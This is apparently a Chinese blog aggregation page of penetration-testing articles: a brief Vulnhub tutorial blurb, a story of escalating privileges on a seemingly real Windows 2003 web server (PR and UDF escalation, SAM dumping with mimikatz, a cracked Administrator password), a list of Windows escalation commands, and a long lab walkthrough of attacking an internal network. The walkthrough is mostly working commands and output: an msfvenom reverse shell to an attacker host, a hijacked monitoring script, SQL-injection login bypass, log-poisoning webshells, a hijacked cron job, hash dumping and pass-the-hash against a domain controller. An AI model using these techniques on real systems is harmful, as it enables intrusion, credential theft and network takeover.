-
2020-04-10 19:31:23
这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可能利用此漏洞远程无需用户验证,执行恶意代码并获取机器的完全控制。本文将详细讲解Vulnhub靶机渗透的环境搭建和JIS-CTF题目,采用Nmap、Dirb、中国蚁剑、敏感文件分析、SSH远程连接、Shell提权等获取5个flag。由于hack the box速度堪忧,作者选择了Vulnhub靶场,希望深入分析来帮助初学者。本文是一篇Web渗透的基础性文章,希望对您有所帮助。
作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~
更多相关内容 -
实战渗透-一次拿到webshell后艰难的提权
2021-07-25 12:27:44本地上传一个cmd.exe组件上去后,执行失败 网上很多说改路径,写的也写不明白,想到之前迪哥用过的大马提权, 环境是php,但支持asp,有iis组件, 发现 D://recycle可写,传一个cmd.com组件执行命令 权限真的很小,...记上一篇,拿到webhshell后,数据库是dba,
本地上传一个cmd.exe组件上去后,执行失败
网上很多说改路径,写的也写不明白,想到之前迪哥用过的大马提权,
环境是php,但支持asp,有iis组件,
发现 D://recycle可写,传一个cmd.com组件执行命令
权限真的很小,是 nt service 网络用户权限,ns的权限是不能执行net的
支持的组件,提权的时候用的找
=====================
查看systeminfo,发现有200多个补丁,准备打溢出,目标机是可以出网的。
传一个cs马,但cs内置的提权脚本不好使,这里猜测是ns权限的原因。
然后这里做了一波收集目标机系统:win 2003 中间件:iis6.0 杀软:无 主流提取:iis6.0提权,pr提权,巴西烤肉提权
试试pr提权,运气好直接就拿下了
都拿到system的令牌了,但执行net添加用户没加上,以为是网络卡了,多试几次后都没结果。猜测很可能net组件被禁用了
接着iis6.exe和cc.exe提权系统一点反应都没有,直接给整蒙了。。=====
这时候就很紧张了,能用的都用不上,突然想起来,还有一个dba权限的数据库,
可以udf提权,这里从网上找到大佬们都在用的udf提权工具 tools版本的
数据库账号和密码从站点下data/config.php中读取
创建udf函数后,调用cmd,发现已经拿到system
尝试net user hack 123/add,发现失败,
这里就很纳闷了,net组件被禁用了,不能添加用户,那这个system就很鸡肋了。。。。
这里收集了一波:1.通过sys权限kill iis6的wmp组件,用iis6提权。 2.读取sam密码,mimikatz解出密码,用administrator登录。 3.net禁用通过shell.user添加用户。
但nmm很想吐槽,这udf提权连个read参数都没有,找了很长时间再udf.dll源码找到参数
查看wmp的pid值
然后琢磨了一下,这样写执行
select shell(‘ps’,’-ms’,‘21944’)执行kill后重新跑iis6,nmm的,绕过了wmp,执行失败了,搞得一头雾水。
只能试试sam文件,通过copy,c:\\WINDOWS\\repair\\sam c:\\WINDOWS\\repair\\system
复制到d://recycler的位置,再通过webshell下载本地,改名
rename sam sam.hiv rename system system.hiv
然后从g站上下了一个2.0支持lsadump模块的版本
执行命令lsadump::sam /sam:sam.hiv /system:system.hiv
跑出sam的结果
拿到cmd5和somd5解密
这里拿到一个管理权限的账号和密码
Administrator xingxing
通过组件支持,发现开启的termi端口在51389然后拿去登录,结果nmm的
一度怀疑密码输错了,多试了几次,猜测可能改密码了,搞得一头雾水。。
现在已经好几天过去了,不能3389,远程的system很多都是受限鸡肋的,不能进行内网横向的。
在试试最后一招,shell.user添加用户。
这里的vbs和js版都试过了,传上执行由于没有回显,只能看到没反应,这里传了一个pp.php版的
发现com组件没开启,找到一个开发商的文。
这里,目标机这里在D:\phpStudy4IIS\php54n位置,写入后,写入<?phpinfo?> 发现已经支持了com组件
这时候应该没毛病了吧,结果nmm的
返回一个com->create(‘IceSkin’)异常,,,给整的无语了。。1.拿到管理密码登录不了。
2.拿到system不能net
3.创建了shell.user加用户异常。收收心吧ftp权限拿下就结束算了。
在ps -l 读取到ftp的配置文件在
D:\phpStudy4IIS\ftpServ\FileZilla Server.xml
ftp连接配置拿下,走人,
-
web渗透--提权基础
2020-09-23 03:16:17一般情况下,web服务会给与一个特定低权限用户维护服务,避免给与过高权限。 net user username password /add Windows系统提权基础命令 获取IP地址信息 IP地址是计算机在网络中的门牌号,用来寻找计算机的地址...提权的本质
- 提权本质就是提升自己在服务器中的权限,获得更大的权限
提权分类
- 本地提权
- 远程提权
- 系统提权
- 第三方软件提权
权限配置
一般情况下,web服务会给与一个特定低权限用户维护服务,避免给与过高权限。
- net user username password /add
Windows系统提权基础命令
- 获取IP地址信息
- IP地址是计算机在网络中的门牌号,用来寻找计算机的地址。同一台计算机有多个IP地址,可以有外部连接的IP地址,内部IP地址。
- 在提权过程中,如果外网IP地址,可以直接使用3389端口进行远程桌面连接。如果只有内网IP地址,可以使用LCX等层序进行端口转发进行连接登录。
- 在Windows系统下使用ipconfig /all查看网卡信息。
- 获取端口信息
- 端口是计算机与外部连接的一个接口,每一个开放的服务对应一个端口,用来进行连接
- 在WIndows下可以使用netstat命令获取端口开放状态
- netstat -an获取当前主机所有端口的开发情况及网络连接情况。
- 获取服务信息和进程信息
- 在Windows系统下很多第三方软件都使用服务启动。如果使用第三方软件漏洞进行提权,必须了解以服务方式开启的第三方软件。
- 可以使用net start命令查看系统所开启的所有服务
- 可以使用net stop 服务名称 关闭服务,例如杀毒软件等。
- 在Windows系统下可以使用 tasklist /svc命令获取运行的进程名称、服务和PID
- 进程结束、用户管理命令
- 使用taskkill来结束进程。taskkill /?获取帮助信息
- 在Windows系统下,系统访问需要有对应的用户名和密码。
- 可以通过以下命令添加用户:
- net user username password /add
- net localgroup administrator username /add
-
一个完整的内网渗透是什么样子的
2021-08-12 16:02:49今天这篇文章将试图呈现一个完整的内网渗透过程。文章略长,如果感兴趣的话,请耐心阅读! 0x01 案例分析 实验环境: 目标环境:10.0.0.0/24, 10.0.1.0/24 攻击主机:10.0.0.5 (Kali), 10.0.0.7 (Windows) ...0x00 前言
今天这篇文章将试图呈现一个完整的内网渗透过程。文章略长,如果感兴趣的话,请耐心阅读!
0x01 案例分析
实验环境:
-
目标环境:10.0.0.0/24, 10.0.1.0/24
-
攻击主机:10.0.0.5 (Kali), 10.0.0.7 (Windows)
渗透过程:
基本的主机探测:
root@kali:~# nmap -sn 10.0.0.0/24 -oG online.txt
root@kali:~# cat online.txt | grep -i up
Host: 10.0.0.1 () Status: Up
Host: 10.0.0.2 () Status: Up
Host: 10.0.0.7 () Status: Up
Host: 10.0.0.9 () Status: Up
Host: 10.0.0.11 () Status: Up
Host: 10.0.0.5 () Status: Up
Nmap done at Wed May 30 06:10:17 2018 – 256 IP addresses (6 hosts up) scanned in 1.83 seconds
任意选取其中的一个online的IP(如:10.0.0.9)进一步探测:
root@kali:~# nmap -sV -A -O 10.0.0.9
Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:12 UTC
Nmap scan report for 10.0.0.9
Host is up (0.00048s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=Monitor
| Not valid before: 2018-05-27T07:03:14
|_Not valid after: 2018-11-26T07:03:14
|_ssl-date: 2018-05-30T06:14:01+00:00; +5s from scanner time.
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
MAC Address: 0A:14:2C:84:E9:D2 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
…
Network Distance: 1 hop
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4s, deviation: 0s, median: 4s
|_nbstat: NetBIOS name: MONITOR, NetBIOS user: , NetBIOS MAC: 0a:14:2c:84:e9:d2 (unknown)
| smb-os-discovery:
| OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: Monitor
| NetBIOS computer name: MONITORx00
| Workgroup: WORKGROUPx00
|_ System time: 2018-05-30T06:14:01+00:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2018-05-30 06:14:01
|_ start_date: 2018-05-30 04:32:09
从以上探测结果可以发现该主机是Windows 2008 R2且开放了SMB和RDP,继续探测:
root@kali:~# nmap --script=/usr/share/nmap/scripts/smb-enum-shares.nse -p 445 10.0.0.9
Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:16 UTC
Nmap scan report for 10.0.0.9
Host is up (0.00019s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 0A:14:2C:84:E9:D2 (Unknown)
Host script results:
| smb-enum-shares:
| account_used: guest
| \10.0.0.9ADMIN$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Remote Admin
| Anonymous access:
| Current user access:
| \10.0.0.9C$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Default share
| Anonymous access:
| Current user access:
| \10.0.0.9IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: Remote IPC
| Anonymous access: READ
| Current user access: READ/WRITE
| \10.0.0.9Users:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access:
| Current user access: READ
| \10.0.0.9print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Anonymous access:
| Current user access: READ
| \10.0.0.9share:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access:
|_ Current user access: READ/WRITE
此时,我们发现该主机存在一个可读写的share folder
\10.0.0.9share
:root@kali:~# smbclient //10.0.0.9/share -N
WARNING: The “syslog” option is deprecated
Try “help” to get a list of possible commands.
smb: > ls
. D 0 Wed May 30 06:16:59 2018
… D 0 Wed May 30 06:16:59 2018
logs.txt A 39404 Wed May 30 06:19:20 2018
processMonitor.py A 576 Mon May 28 06:56:33 2018
7863807 blocks of size 4096. 1680653 blocks available
smb: >
为了进一步了解,登录我们用于渗透的另一台Windows主机(10.0.0.7)。
发现,这个共享文件夹里包含了一个定期监控运行进程的python脚本。
import win32com.client
import datetime
def logging(context):
now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
f = open(‘c:sharelogs.txt’, ‘a’)
f.write(’{}: {}’.format(now,context))
f.close()
def process_monitor():
wmi=win32com.client.GetObject(‘winmgmts:’)
for p in wmi.InstancesOf(‘win32_process’):
logging("{}{}{}n".format(p.Name, p.Properties_(‘ProcessId’),
int(p.Properties_(‘UserModeTime’).Value)+int(p.Properties_(‘KernelModeTime’).Value)))
if name == “main”:
process_monitor()
由于该文件夹可读写,我们可以生成并放置一个meterpreter的payload,然后修改该python脚本来执行它,这样我们就可以得到一个meterpreter session了。
root@kali:/var/www/html# msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.0.0.5 -f exe > s.exe
修改python脚本如下:
import win32com.client
import datetime
from subprocess import call
def logging(context):
now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
f = open(‘c:sharelogs.txt’, ‘a’)
f.write(’{}: {}’.format(now,context))
f.close()
def process_monitor():
wmi=win32com.client.GetObject(‘winmgmts:’)
for p in wmi.InstancesOf(‘win32_process’):
logging("{}{}{}n".format(p.Name, p.Properties_(‘ProcessId’),
int(p.Properties_(‘UserModeTime’).Value)+int(p.Properties_(‘KernelModeTime’).Value)))
if name == “main”:
process_monitor()
call([“c:shares.exe”])
几分钟后,我们顺利地获得了一个meterpreter session了。
msf exploit(handler) > sessions
Active sessions
===============
Id Name Type Information Connection
– ---- ---- ----------- ----------
2 meterpreter x64/windows MONITORAdministrator @ MONITOR 10.0.0.5:4444 -> 10.0.0.9:49536 (10.0.0.9)
meterpreter > getuid
Server username: MONITORAdministrator
meterpreter > sysinfo
Computer : MONITOR
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > ipconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Microsoft Teredo Tunneling Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80:💯7f:fffe
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 13
============
Name : AWS PV Network Device #0
Hardware MAC : 0a:14:2c:84:e9:d2
MTU : 9001
IPv4 Address : 10.0.0.9
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::3053:3068:2bf6:272c
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 14
============
Name : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:a00:9
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 20
============
Name : AWS PV Network Device #1
Hardware MAC : 0a:17:b5:cb:d1:ac
MTU : 9001
IPv4 Address : 10.0.1.9
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::2189:c3cf:68e3:aab9
IPv6 Netmask : ffff:ffff:ffff:ffff::
同时,可以看出这个机器具有多个网卡且横跨在2个网段中(10.0.0.9/24和10.0.1.9/24)。因此,我们也可以利用这个机器做跳板继续渗透10.0.1.0/24这段里的机器。
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value […]
Local subnet: 10.0.0.0/255.255.255.0
Local subnet: 10.0.1.0/255.255.255.0
meterpreter > background
[*] Backgrounding session 2…
msf exploit(handler) > route add 10.0.1.0 255.255.255.0 2
[*] Route added
msf exploit(handler) > route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
10.0.1.0 255.255.255.0 Session 2
[*] There are currently no IPv6 routes defined.
利用
auxiliary/scanner/portscan/tcp
去扫描10.0.1.0/24
段,如下:msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 10.0.1.0/24
RHOSTS => 10.0.1.0/24
msf auxiliary(tcp) > set PORTS 22,80,3306,445,3389,139,1433
PORTS => 22,80,3306,445,3389,139,1433
msf auxiliary(tcp) > set threads 20
threads => 20
msf auxiliary(tcp) > run
[+] 10.0.1.7: - 10.0.1.7:445 - TCP OPEN
[+] 10.0.1.11: - 10.0.1.11:80 - TCP OPEN
[+] 10.0.1.9: - 10.0.1.9:445 - TCP OPEN
[+] 10.0.1.9: - 10.0.1.9:139 - TCP OPEN
[+] 10.0.1.11: - 10.0.1.11:22 - TCP OPEN
[+] 10.0.1.9: - 10.0.1.9:3389 - TCP OPEN
[+] 10.0.1.7: - 10.0.1.7:139 - TCP OPEN
[+] 10.0.1.26: - 10.0.1.26:139 - TCP OPEN
[+] 10.0.1.26: - 10.0.1.26:80 - TCP OPEN
[+] 10.0.1.26: - 10.0.1.26:3389 - TCP OPEN
[+] 10.0.1.26: - 10.0.1.26:3306 - TCP OPEN
[+] 10.0.1.26: - 10.0.1.26:445 - TCP OPEN
我们任意选取其中的一台机器(如:10.0.1.11),我们发现其开放了80和22端口。接下来,我们可以在
session 2
里设置端口转发,将攻击机(10.0.0.5)上的8080端口转发到目标机(10.0.1.7)上的80端口,方便我们后续的测试。msf auxiliary(tcp) > sessions 2
[*] Starting interaction with 2…
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.1.11
[*] Local TCP relay created: :8080 <-> 10.0.1.11:80
meterpreter > portfwd list
Active Port Forwards
====================
Index Local Remote Direction
----- ----- ------ ---------
1 0.0.0.0:8080 10.0.1.11:80 Forward
1 total active port forwards.
这时,我们再次登录我们的Windows渗透机器(10.0.0.7)来查看一下这是个什么网站。
经过测试发现,这个登录功能存在SQL Injection,可以通过以下的用户名和密码登录:
username: admin
password: ’ or ‘1’='1
经过观察发现,这个网站应该直接本地文件包含了web服务器的access_log,因此我们可以想到利用文件包含漏洞来生成一个webshell,具体步骤如下:
1. 发送一个包含webshell代码的HTTP请求使其被写入到access_log里, 如一个仅包含上传功能的php小马
2. 访问
http://10.0.0.5:8080/admin.php
来文件包含access_log使其中的php代码被执行,从获取一个具备上传功能的php小马3. 访问
http://10.0.0.5:8080/upload.php
并上传一个功能齐全的PHP webshell4. 访问
http://10.0.0.5:8080/shell.php
并输入密码qwer
,则成功地获取了一个webshell利用webshell提供的功能我们发现这只是一个用于运行web service的低权限的用户(daemon),那么接下来我们需要解决的问题就是本地提权到root权限。
如上图,我们找到了一个
777
权限的root用户所拥有的cronjob文件/etc/cron.hourly/clean_up_access_log
。看起来这个脚本似乎是用于定期清理access_log
的。因此,我们似乎可以利用它来获得一个root权限的meterpreter shell。首先,生成一个Linux的meterpreter payload并通过webshell上传到目标主机上并添加执行权限;
root@kali:~# msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf > root.elf
system(‘chmod +x /opt/lampp/htdocs/root.elf’);
接着,修改
/etc/cron.hourly/clean_up_access_log
使其可以执行我们上传的payload并等待cronjob的下次执行;system(“echo ‘/opt/lampp/htdocs/root.elf’ >> /etc/cron.hourly/clean_up_access_log”);
最后,我们成功地在目标机器(10.0.1.11)上获得了一个root权限的meterpreter session,如下:
msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 10.0.1.11
RHOST => 10.0.1.11
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 10.0.1.11 no The target address
Exploit target:
Id Name
– ----
0 Wildcard Target
msf exploit(handler) > run
[*] Started bind handler
[*] Sending stage (802416 bytes) to 10.0.1.11
[*] Meterpreter session 4 opened (10.0.0.5-10.0.0.9:0 -> 10.0.1.11:4444) at 2018-05-30 15:23:26 +0000
meterpreter > sysinfo
Computer : 10.0.1.11
OS : Ubuntu 16.04 (Linux 4.4.0-1060-aws)
Architecture : x64
Meterpreter : x64/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > shell
Process 24394 created.
Channel 2 created.
id
uid=0(root) gid=0(root) groups=0(root)
ifconfig
eth0 Link encap:Ethernet HWaddr 0a:3a:ea:dc:8a:44
inet addr:10.0.1.11 Bcast:10.0.1.255 Mask:255.255.255.0
inet6 addr: fe80::83a:eaff:fedc:8a44/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1
RX packets:2703 errors:0 dropped:0 overruns:0 frame:0
TX packets:2973 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1105355 (1.1 MB) TX bytes:672700 (672.7 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:192 errors:0 dropped:0 overruns:0 frame:0
TX packets:192 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:14456 (14.4 KB) TX bytes:14456 (14.4 KB)
ls -l /root
total 4
-rw------- 1 root root 84 May 25 10:10 readme.txt
利用上面获得的root权限的meterpreter session,我意外的发现了一个有趣的文件
/root/readme.txt
,其中包含了一个远程FTP(10.0.1.26)的口令和密码。cat /root/readme.txt
Credentials for FTP:
-
IP: 10.0.1.26
-
User: ftpadmin
-
Password: nKG6aqwvveFutn$@
既然拿到了这个信息,我们不妨再次探测一下我们的下一个目标(10.0.1.26)。
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 10.0.1.26
RHOSTS => 10.0.1.26
msf auxiliary(tcp) > set threads 50
threads => 50
msf auxiliary(tcp) > set PORTS 1-1025,1433,3306,3389
PORTS => 1-1025,1433,3306,3389
msf auxiliary(tcp) > run
[+] 10.0.1.26: - 10.0.1.26:21 - TCP OPEN
[+] 10.0.1.26: - 10.0.1.26:80 - TCP OPEN
[+] 10.0.1.26: - 10.0.1.26:139 - TCP OPEN
[+] 10.0.1.26: - 10.0.1.26:135 - TCP OPEN
[+] 10.0.1.26: - 10.0.1.26:445 - TCP OPEN
[+] 10.0.1.26: - 10.0.1.26:443 - TCP OPEN
[+] 10.0.1.26: - 10.0.1.26:3306 - TCP OPEN
[+] 10.0.1.26: - 10.0.1.26:3389 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
果不其然,目标机(10.0.1.26)确实存在一个FTP站点。进入上面获得的
session 2
,在目标机10.0.0.9(10.0.1.9)上添加一个管理员账号:msf auxiliary(tcp) > sessions 2
[*] Starting interaction with 2…
meterpreter > shell
Process 1116 created.
Channel 147 created.
Microsoft Windows [Version 6.1.7601]
Copyright © 2009 Microsoft Corporation. All rights reserved.
C:Windowssystem32>net user test 1qazxsw2@ /add
net user test 1qazxsw2@ /add
The command completed successfully.
C:Windowssystem32>net localgroup administrators test /add
net localgroup administrators test /add
The command completed successfully.
C:Windowssystem32>
接着RDP到目标主机10.0.0.9(10.0.1.9)上,并尝试使用已经获取的口令登录。
结果显示,我们成功地登录了该FTP站点,且具备读写权限。另外,我们还发现该FTP为目标机10.0.1.26上的一个web站点的根目录。因此,我们可以通过该FTP轻松地上传一个
webshell.php
文件,如下:有了webshell我们便可以上传一个meterpreter payload来获取一个功能强大的meterpreter session了。
msf auxiliary(tcp) > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 10.0.1.26
RHOST => 10.0.1.26
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: ‘’, seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 10.0.1.26 no The target address
Exploit target:
Id Name
– ----
0 Wildcard Target
msf exploit(handler) > run
[*] Started bind handler
[*] Sending stage (205379 bytes) to 10.0.1.26
[*] Meterpreter session 5 opened (10.0.0.5-10.0.0.9:0 -> 10.0.1.26:4444) at 2018-05-31 02:08:05 +0000
meterpreter > sysinfo
Computer : IT-MANAGE-PC
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : GBOX
Logged On Users : 1
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
meterpreter > ifconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Microsoft Teredo Tunneling Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80:💯7f:fffe
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 13
============
Name : AWS PV Network Device #0
Hardware MAC : 0a:d9:e6:59:35:f0
MTU : 9001
IPv4 Address : 10.0.1.26
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::4171:a218:74ca:871f
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 14
============
Name : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:a00:11a
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
同时,我们发现目标机(10.0.1.26)是一个加入了GBOX域的机器,且DNS服务器的IP是
10.0.1.7
:meterpreter > shell
Process 4080 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright © 2009 Microsoft Corporation. All rights reserved.
C:xampphtdocs>ipconfig -all
ipconfig -all
Windows IP Configuration
Host Name . . . . . . . . . . . . : IT-MANAGE-PC
Primary Dns Suffix . . . . . . . : gbox.com
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : us-west-2.ec2-utilities.amazonaws.com
ec2.internal
us-east-1.ec2-utilities.amazonaws.com
compute-1.internal
us-west-2.compute.internal
gbox.com
Ethernet adapter Local Area Connection 3:
Connection-specific DNS Suffix . : us-west-2.compute.internal
Description . . . . . . . . . . . : AWS PV Network Device #0
Physical Address. . . . . . . . . : 0A-D9-E6-59-35-F0
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::4171:a218:74ca:871f%13(Preferred)
IPv4 Address. . . . . . . . . . . : 10.0.1.26(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : Wednesday, May 30, 2018 4:32:21 AM
Lease Expires . . . . . . . . . . : Thursday, May 31, 2018 3:02:46 AM
Default Gateway . . . . . . . . . : 10.0.1.1
DHCP Server . . . . . . . . . . . : 10.0.1.1
DHCPv6 IAID . . . . . . . . . . . : 302649180
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-22-9D-15-7F-0A-0F-5C-B0-05-5E
DNS Servers . . . . . . . . . . . : 10.0.1.7
NetBIOS over Tcpip. . . . . . . . : Enabled
Tunnel adapter isatap.us-west-2.compute.internal:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : us-west-2.compute.internal
Description . . . . . . . . . . . : Microsoft ISATAP Adapter
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter Local Area Connection* 11:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft Teredo Tunneling Adapter
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
那么接下来,我们的下一个目标就是IP为
10.0.1.7
的域控服务器了。经过一系列测试,发现目标机似乎只接受来自IP
10.0.1.26
(Session 5)的流量,因此我们需要先添加一个专门的路由使我们的攻击机(10.0.0.5)流量可以抵达目标主机(10.0.1.7)。msf exploit(psexec) > route add 10.0.1.7 255.255.255.255 5
msf exploit(psexec) > route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
10.0.1.0 255.255.255.0 Session 2
10.0.1.7 255.255.255.255 Session 5
[*] There are currently no IPv6 routes defined.
首先,搜集利用hashdump命令收集一下主机
10.0.1.26
的所有密码Hash:msf exploit(handler) > sessions 5
[*] Starting interaction with 5…
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:616463a26de99900462a713770e806ab:::
gamebox:1001:aad3b435b51404eeaad3b435b51404ee:4ea29bdfa3e99248ce57c9f29d114a6f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
接着,我们可以尝试使用Pass The Hash来测试一下我们的目标机(10.0.1.7),并成功地拿下了该域控服务器。
msf exploit(psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 10.0.1.7 yes The target address
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN , C ,C ,C,…) or a normal read/write folder share
SMBDomain gbox no The Windows domain to use for authentication
SMBPass aad3b435b51404eeaad3b435b51404ee:4ea29bdfa3e99248ce57c9f29d114a6f no The password for the specified username
SMBUser gamebox no The username to authenticate as
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: ‘’, seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 10.0.1.7 no The target address
Exploit target:
Id Name
– ----
0 Automatic
msf exploit(psexec) > run
[*] 10.0.1.7:445 - Connecting to the server…
[*] Started bind handler
[*] 10.0.1.7:445 - Authenticating to 10.0.1.7:445|gbox as user ‘gamebox’…
[*] 10.0.1.7:445 - Selecting PowerShell target
[*] 10.0.1.7:445 - Executing the payload…
[+] 10.0.1.7:445 - Service start timed out, OK if running a command or non-service executable…
[*] Sending stage (205379 bytes) to 10.0.1.7
[*] Meterpreter session 6 opened (10.0.0.5-1-10.0.0.9:0 -> 10.0.1.7:4444) at 2018-05-31 02:38:04 +0000
meterpreter > sysinfo
Computer : DC
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : GBOX
Logged On Users : 1
